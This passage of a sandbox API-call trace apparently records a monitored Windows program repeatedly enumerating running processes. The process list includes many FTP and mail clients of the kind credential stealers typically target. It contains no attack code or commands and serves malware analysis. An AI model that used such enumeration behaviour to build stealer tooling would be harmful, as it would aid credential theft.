lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0266.952] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0266.954] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0266.957] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0266.961] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0266.963] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0266.966] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0266.972] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0266.975] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0266.977] CloseHandle (hObject=0x2200) returned 1 [0266.977] Sleep (dwMilliseconds=0x64) [0266.979] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0267.001] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.003] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0267.006] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.009] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.012] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0267.014] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.017] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0267.019] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0267.021] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0267.067] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.069] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.071] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.073] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.075] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.076] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.078] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.080] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.083] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.085] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.088] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.090] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0267.093] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.095] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.098] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0267.100] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0267.103] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0267.107] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0267.110] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0267.112] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0267.114] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0267.117] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.120] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.123] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0267.125] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.140] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.143] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0267.145] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0267.148] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0267.150] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0267.153] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0267.155] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0267.157] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0267.160] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0267.163] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0267.165] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0267.167] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0267.170] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0267.173] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0267.175] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0267.177] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0267.179] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0267.183] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0267.185] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0267.222] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0267.225] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0267.229] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0267.233] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0267.236] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0267.239] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0267.241] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0267.243] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0267.245] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0267.247] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0267.249] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0267.251] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0267.253] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0267.255] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0267.257] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0267.260] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0267.262] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0267.264] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0267.266] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0267.268] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0267.270] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0267.272] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, 